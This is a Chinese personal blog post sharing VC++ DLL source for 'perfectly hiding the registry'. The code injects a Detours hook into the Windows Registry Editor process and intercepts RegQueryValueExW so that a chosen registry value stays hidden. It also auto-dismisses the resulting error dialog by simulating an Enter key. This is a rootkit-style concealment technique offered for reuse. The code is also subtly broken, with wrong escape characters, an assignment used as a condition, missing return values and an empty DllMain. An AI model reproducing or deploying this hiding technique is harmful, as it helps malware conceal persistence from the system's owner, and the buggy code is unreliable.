第一博文 就这样吧 老天不让我写啊~~~~~~~~VC++之完美隐藏注册表

     这几天是怎么了写博客都郁闷哎 算了 谁让我发不了呢 这是dll代码你们看看把

     这是我这几天刚刚写的也算是为网上和我一样找不到代码的朋友提供点帮助！

#include <afxwin.h>
#include <windows.h>
//#include <ansiapi.h>
#include "detours.h"
#pragma data_seg("jieguo")
HHOOK kis=NULL;
HWND zhu=NULL;
HINSTANCE mou=NULL;
HANDLE thread=NULL;
TCHAR szClass[256]={0};
HHOOK mess=NULL;
HINSTANCE age=NULL;
HWND stime=NULL;
#pragma data_seg()

LONG WINAPI Hook_RegQueryValueExW(
HKEY hKey,
LPCWSTR lpValueName,
LPDWORD lpReserved,
LPDWORD lpType,
LPBYTE lpData,
LPDWORD lpcbData
);

typedef LONG (WINAPI *pfnRegQueryValueExW)(
HKEY hKey,
LPCWSTR lpValueName,
LPDWORD lpReserved,
LPDWORD lpType,
LPBYTE lpData,
LPDWORD lpcbData
);
pfnRegQueryValueExW g_pRegQueryValueExW = RegQueryValueExW;

BOOL StartHook()

{
    DetourTransactionBegin();
 DetourUpdateThread( GetCurrentThread());
 if( DetourAttach( &(PVOID&)g_pRegQueryValueExW,Hook_RegQueryValueExW) != NO_ERROR)
 {
  printf( "Hook MessageBoxA fail./n");
 }
 if( DetourTransactionCommit() != NO_ERROR)
 {
  printf( "DetourTransactionCommit fail/n");
  return FALSE;
 }
 else
 {
  printf( "DetourTransactionCommit ok/n");
  return TRUE;
 }
}
BOOL StopHook()
{
 DetourTransactionBegin();
 DetourUpdateThread( GetCurrentThread());
 if( DetourDetach( &(PVOID&)g_pRegQueryValueExW,Hook_RegQueryValueExW) != NO_ERROR)
 {
  printf( "Hook MessageBoxA fail./n");
 }
 if( DetourTransactionCommit() != NO_ERROR)
 {
  printf( "DetourTransactionCommit fail/n");
  return FALSE;
 }
 else
 {
  printf( "DetourTransactionCommit ok/n");
  return TRUE;
 }
}
LONG WINAPI Hook_RegQueryValueExW(
HKEY hKey,
LPCWSTR lpValueName,
LPDWORD lpReserved,
LPDWORD lpType,
LPBYTE lpData,
LPDWORD lpcbData
)
{
 int ansiLen = ::WideCharToMultiByte(CP_ACP, NULL, lpValueName, wcslen(lpValueName), NULL, 0, NULL, NULL);
 char* szAnsi= new char[ansiLen + 1];
 ::WideCharToMultiByte(CP_ACP, NULL,lpValueName, wcslen(lpValueName), szAnsi, ansiLen, NULL, NULL);
 szAnsi[ansiLen] = '/0';
 int i=10;
 if(lstrcmpA(szAnsi,"这里填你注册表的键值")==0)
 {
  lpValueName=NULL;
 }
 if(i=11000000)
 return g_pRegQueryValueExW(hKey,lpValueName,lpReserved,lpType,lpData,lpcbData);
 
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
 DLL_PROCESS_ATTACH;
}
LRESULT CALLBACK GetMsgProc(int code,
       WPARAM wParam,
       LPARAM lParam
       )
{
 StartHook();
    HWND mes=NULL,mess=NULL;
 mes=::FindWindow(NULL,"显示值的错误");
 if(mes!=NULL)
 {
   keybd_event(13,0,0,0);
   keybd_event(13,0,KEYEVENTF_KEYUP,0);
 }
 return CallNextHookEx(kis,code,wParam,lParam);
}
VOID CALLBACK TimerProc2(HWND  hwnd,UINT message,UINT iTimerID,DWORD   dwTime)  
{
 zhu=::FindWindow(NULL,"注册表编辑器");
    if(zhu==NULL)
 {
  UnhookWindowsHookEx(kis);
  kis=NULL;
  KillTimer(stime,0);
 }
}
VOID CALLBACK TimerProc(HWND  hwnd,UINT message,UINT iTimerID,DWORD   dwTime)  
{
 LPDWORD pid=NULL;
 DWORD die=NULL;
 if(kis==NULL)
 {
 zhu=::FindWindow(NULL,"注册表编辑器");
 if(zhu!=NULL)
 {
  die=GetWindowThreadProcessId(zhu,NULL);
  if(die!=NULL)
   mou=GetModuleHandle("khthree");
  if(mou!=NULL)
   kis=SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,mou,die);
  if(kis!=NULL)
  {
   SetTimer(stime,0,80,TimerProc2);
  }
 }
 }
}
_declspec(dllexport) menge(int b)//这就是导出函数你们随便写个exe调用 dll就好了 今天没心情不好大家凑活着看吧！！
{
 UINT_PTR iTimerID=SetTimer(NULL,0,100,TimerProc);
}